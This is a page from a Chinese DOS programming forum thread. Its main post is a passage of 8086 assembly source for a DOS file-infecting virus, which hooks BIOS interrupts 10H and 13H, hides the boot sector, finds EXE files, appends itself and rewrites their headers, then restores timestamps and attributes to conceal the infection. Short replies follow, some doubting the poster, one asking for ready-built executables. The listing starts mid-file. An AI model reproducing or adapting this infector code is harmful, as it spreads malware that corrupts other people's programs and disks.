中国DOS联盟论坛

中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --

联盟域名:www.cn-dos.net  论坛域名:www.cn-dos.net/forum
DOS,代表着自由开放与发展,我们努力起来,学习FreeDOS和Linux的自由开放与GNU精神,共同创造和发展美好的自由与GNU GPL世界吧!

游客:  注册 | 登录 | 命令行 | 会员 | 搜索 | 上传 | 帮助 »
中国DOS联盟论坛 » DOS开发编程 & 发展交流 (开发室) » 磁盘杀手(批处理,只是恶意代码非病毒)
« [1] [2] »
作者:
标题: 磁盘杀手(批处理,只是恶意代码非病毒) 上一主题 | 下一主题
VC_COM
初级用户




积分 37
发帖 20
注册 2003-4-30
状态 离线
『第 16 楼』:  


     SM     PROC                            ;|---;子程序SM的作用:
            MOV AX,DS:[40H]                 ;|   ;将中断10H,13H分别保存
            MOV DS:[214H],AX                ;|   ;至85H,86H,并修改10H,13H
            MOV AX,DS:[42H]                 ;|   ;指向新中断部分
            MOV DS:[216H],AX                ;|
                                            ;|
            MOV AX,DS:[4CH]                 ;|
            MOV DS:[218H],AX                ;|
            MOV AX,DS:[4EH]                 ;|
            MOV DS:[21AH],AX                ;|
                                            ;|
            MOV AX,OFFSET NEW10H-OFFSET HDP ;|   
            MOV DS:[40H],AX                 ;|
            MOV AX,22H                      ;|
            MOV DS:[42H],AX                 ;|
                                            ;|
            MOV AX,OFFSET NEW13H-OFFSET HDP ;|
            MOV DS:[4CH],AX                 ;|
            MOV AX,22H                      ;|
            MOV DS:[4EH],AX                 ;|
            RET                             ;|
     SM     ENDP                            ;|
     
     NEW10H:CMP AH,00                         ;|-;新中断10H的作用:
            JZ N1                             ;| ;检测是否调用功能00H
            INT 85H                           ;| ;是->将主代码装入内存
            IRET                              ;| ;    并执行
     N1:    PUSH AX                           ;| ;否->调用原中断10H
            PUSH BX                           ;|
            PUSH CX                           ;|
            PUSH DX                           ;|
            PUSH DS                           ;|
            PUSH ES                           ;|
                                              ;|
            MOV AX,8000H                      ;|
            MOV ES,AX                         ;|
                                              ;|
            MOV AX,0202H                      ;|
            XOR BX,BX                         ;|
            MOV CX,0002H                      ;|
            MOV DX,0080H                      ;|
            INT 13H                           ;|
                                              ;|
            MOV BX,OFFSET JMP_MAIN-OFFSET HDP ;|
            JMP DWORD PTR CS:[BX]
     
     NEW13HUSHF        ;|----------------------;新中断13H的作用:
            CMP CX,0001H ;|                      ;检测是否读主引导扇区
            JNZ NGW      ;|                      ;是->读0面0道4扇区
            CMP AH,02H   ;|                      ;否->调用原中断13H
            JNZ NGW      ;|                        
            CMP DX,0080H ;|
            JNZ NGW      ;|
                         ;|
            MOV CX,0017H ;|
     NGW:   POPF         ;|
            INT 86H      ;|
            IRET         ;|

;**  PART  4:传染部分  ******************************************************
     
     MAIN:  MOV AX,CS
            MOV ES,AX
            MOV DS,AX
      
            MOV AH,1AH        ;|
            MOV DX,OFFSET DTA ;|-----------------;设置DTA(磁盘传输地址)
            INT 21H           ;|

            MOV AH,4EH          ;|                 
            JMP DIR             ;|                 
     SDIR:  MOV AH,4FH          ;|               ;在当前目录中搜索第一个
     DIR :  MOV DX,OFFSET FNEXE ;|---------------;EXE文件
            MOV CX,100111B      ;|               ;找到->继续
            INT 21H             ;|               ;没找到->转HW
            JC  HW              ;|
                                                
            CMP DS:[T_L],BYTE PTR 77 ;|          ;检测是否已感染
            JZ  SDIR                 ;|          ;是->搜索下一个EXE文件
            MOV CX,DS:[S_H]          ;|          ;    直到找到或搜索完
            CMP CX,09H               ;|----------;    目录为止
            JNB SDIR                 ;|          ;否->实施传染
                                     ;|          ;注:如果文件已感染或文
            CALL GR                  ;|          ;   长度超过90000H都不
                                                 ;   会传染.
     HW:    POP ES
            POP DS
            POP DX
            POP CX
            POP BX
            POP AX
            INT 85H ;|---------------------------;执行原中断10H
            IRET
            
     GR     PROC ;|------------------------------;子程序GR作用:
                                                 ;传染EXE文件
            
            MOV DX,OFFSET FN ;|                 
            MOV AX,4301H     ;|-----------------;置文件属性为:普通
            MOV CX,100000B   ;|
            INT 21H          ;|
         
            MOV AX,3D02H                        
            INT 21H          ;|-----------------;打开文件
            MOV BX,AX            
            
            MOV AX,4200H        ;|               
            XOR CX,CX           ;|
            MOV DX,8H           ;|
            INT 21H             ;|--------------;读文件头节长度
            MOV AH,3FH          ;|
            MOV CX,2H           ;|
            MOV DX,OFFSET H_EXE ;|
            INT 21H             ;|
      
            MOV AX,4200H       ;|               
            XOR CX,CX          ;|               
            MOV DX,14H         ;|
            INT 21H            ;|---------------;保存原文件的 CS:IP
            MOV AH,3FH         ;|               ;初始值
            MOV CX,4H          ;|
            MOV DX,OFFSET B_IP ;|
            INT 21H            ;|
            
            MOV AX,4202H      ;|   
            XOR CX,CX         ;|
            XOR DX,DX         ;|
            INT 21H           ;|
            MOV DX,DS:[S_H]   ;|
            MOV AX,DS:[S_L]   ;|
            MOV CX,10H        ;|                 ;使原文件的长度为10H的
            DIV CX            ;|-----------------;倍数,目的是为了使自身
            INC AX            ;|                 ;能运行在CS:00的环境下
            SUB AX,DS:[H_EXE] ;|
            MOV DS:[N_CS],AX  ;|
            SUB CX,DX         ;|
            PUSH CX           ;|
            MOV AH,40H        ;|
            INT 21H           ;|
            
            MOV AH,40H           ;|               
            MOV CX,OFFSET P_SIZE ;|--------------;将自身附加在文件结尾
            XOR DX,DX            ;|
            INT 21H              ;|
            
            MOV AX,4200H         ;|
            XOR CX,CX            ;|
            MOV DX,02H           ;|
            INT 21H              ;|
            MOV DX,DS:[S_H]      ;|
            MOV AX,DS:[S_L]      ;|
            POP CX               ;|
            ADC AX,CX            ;|           ;将新文件的长度转换成
            JNC NC1              ;|           ;(页长度+最后一个扇区字节数)
            INC DX               ;|-----------;的形式
     NC1:   ADC AX,OFFSET P_SIZE ;|           ;并将此结果写入EXE文件头
            JNC NC2              ;|
            INC DX               ;|
     NC2:   MOV CX,200H          ;|
            DIV CX               ;|
            INC AX               ;|
            MOV DS:[B_EXE],DX    ;|
            MOV DS:[H_EXE],AX    ;|
            MOV DX,OFFSET B_EXE  ;|
            MOV CX,4H            ;|
            MOV AH,40H           ;|
            INT 21H              ;|
            
            MOV AX,4200H       ;|            
            XOR CX,CX          ;|            
            MOV DX,14H         ;|
            INT 21H            ;|-------------;将计算后的新CS:IP初始值写
            MOV AH,40H         ;|             ;入EXE文件头
            MOV CX,4H          ;|
            MOV DX,OFFSET N_IP ;|
            INT 21H            ;|
            
            MOV AX,5701H    ;|                 
            MOV CH,DS:[T_H] ;|                ;改回文件修改日期并打上
            MOV CL,77       ;|----------------;已感染标志
            MOV DX,DS:[D]   ;|
            INT 21H         ;|
            
            MOV AH,3EH ;|---------------------;关闭文件
            INT 21H    ;|
            
            MOV DX,OFFSET FN ;|               
            MOV AX,4301H     ;|
            XOR CH,CH        ;|---------------;改回文件属性
            MOV CL,DS:[C]    ;|
            INT 21H          ;|
            RET              ;|
     
     GR     ENDP     
                             ;|---------------;DTA(磁盘传输地址)的格式如下:
        DTA    DB  21 DUP(0) ;|---------------;DOS功能4FH将使用这些字节                  
        C      DB  0         ;|---------------;文件属性
        T_L    DB  0         ;|---------------;文件时间的低位
        T_H    DB  0         ;|---------------;文件时间的高位
        D      DW  0         ;|---------------;文件日期
        S_L    DW  0         ;|---------------;文件长度的低位
        S_H    DW  0         ;|---------------;文件长度的高位
        FN     DB  13 DUP(0) ;|---------------;文件的全名

        P_SIZE:
     
     CSEG   ENDS
            END  START

2003-5-2 00:00
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
红色狂想
金牌会员

龙哥DOS


积分 4289
发帖 1501
注册 2003-2-23
来自 河南省
状态 离线
『第 17 楼』:  

这些字符是不是你胡乱敲的呀?让我看看你的精简Win 98再说!



C++C++C++C++C++C++C++C++C++C++C++C++C++C++C++
C++   ☆☆☆ 中国DOS联盟成员 ☆☆☆    C++
C++    ★★★ 爱提问的红色狂想 ★★★     C++
C++C++C++C++C++C++C++C++C++C++C++C++C++C++C++
2003-5-2 00:00
查看资料  发送邮件  访问主页  发短消息 网志  OICQ (189236106)  编辑帖子  回复  引用回复
Dark-Destroy
元老会员





积分 8312
发帖 3551
注册 2003-3-22
状态 离线
『第 18 楼』:  



  Quote:
以下是引用红色狂想在2003-5-2 16:31:24的发言:
这些字符是不是你胡乱敲的呀?让我看看你的精简Win 98再说!

說的對,還是先拿出你的精簡win 98!!



MSN:tiqit2@hotmail.com
2003-5-2 00:00
查看资料  发送邮件  访问主页  发短消息 网志   编辑帖子  回复  引用回复
沈洁
金牌会员

小飞侠


积分 4590
发帖 1812
注册 2003-4-2
来自 上海市
状态 离线
『第 19 楼』:  

各位都是汇编高手啊!有没有做好的可执行文件上传啊!



2003-5-4 00:00
查看资料  发送邮件  发短消息 网志  OICQ (49662411)  编辑帖子  回复  引用回复
exipt
新手上路





积分 6
发帖 3
注册 2006-10-12
状态 离线
『第 20 楼』:  

沙发``红的不行咱们搞黑的```呵呵```

2006-10-25 16:56
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
zrz000
初级用户





积分 44
发帖 16
注册 2006-8-15
状态 离线
『第 21 楼』:  

佩服.有的人可能自以为了不起,看不起楼主的东西.实际上觉得这个太经典了.看事容易做事难.不信他的人可以自己做一个试试

2006-10-26 01:31
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
qsj
初级用户





积分 70
发帖 34
注册 2006-10-28
状态 离线
『第 22 楼』:  幸亏linux没有这些命令!



2006-11-1 04:40
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
shikx2008
初级用户





积分 57
发帖 28
注册 2006-11-6
来自 中国
状态 离线
『第 23 楼』:  

厉害好没学会呢?

2006-11-8 02:28
查看资料  发送邮件  访问主页  发短消息 网志  OICQ (505975517)  编辑帖子  回复  引用回复
« [1] [2] »
请注意:您目前尚未注册或登录,请您注册登录以使用论坛的各项功能,例如发表和回复帖子等。


可打印版本 | 推荐给朋友 | 订阅主题 | 收藏主题



论坛跳转: